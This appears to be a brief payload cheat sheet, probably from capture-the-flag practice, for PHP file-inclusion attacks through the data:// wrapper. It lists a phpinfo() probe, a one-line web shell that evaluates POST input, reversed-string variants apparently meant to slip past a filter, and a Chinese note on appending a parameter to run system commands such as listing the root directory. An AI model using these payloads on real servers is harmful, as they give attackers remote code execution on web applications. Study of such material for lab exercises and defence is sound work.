file=data://text/plain,<?php phpinfo();?> >?;)(ofniphp php?<,nialp/txet//:atad
file=data://text/plain,<?php eval($_POST[1]);?>
file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad
末尾追加传参命令执行
& 分隔
&1=system("ls /");